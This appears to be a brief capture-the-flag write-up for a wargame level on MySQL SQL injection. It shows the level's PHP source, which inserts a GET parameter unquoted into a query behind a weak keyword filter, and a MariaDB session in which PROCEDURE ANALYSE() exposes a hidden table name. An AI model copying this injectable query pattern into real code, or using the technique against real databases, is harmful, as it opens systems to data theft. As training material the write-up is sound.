old-53 -- SQLi (MySQL PROCEDURE ANALYSE)
<?php
$db = dbconnect();
include "./tablename.php";
if ($_GET["answer"] == $hidden_table) {
solve(53);
}
if (preg_match("/select|by/i", $_GET["val"])) {
exit("no hack");
}
$result = mysqli_fetch_array(
mysqli_query($db, "select a from $hidden_table where a={$_GET["val"]}")
);
echo $result[0];
?>MariaDB [zap]> SELECT nick FROM names WHERE id=1 PROCEDURE ANALYSE();
+------------------------+---------------+
| zap.names.nick | jdoe |
+------------------------+---------------+
| Min_value | jdoe |
| Max_value | jdoe |
| Min_length | 4 |
| Max_length | 4 |
| Empties_or_zeros | 0 |
| Nulls | 0 |
| Avg_value_or_avg_length| 4.0000 |
| Std | NULL |
| Optimal_fieldtype | ENUM('jdoe') |
+------------------------+---------------+Last updated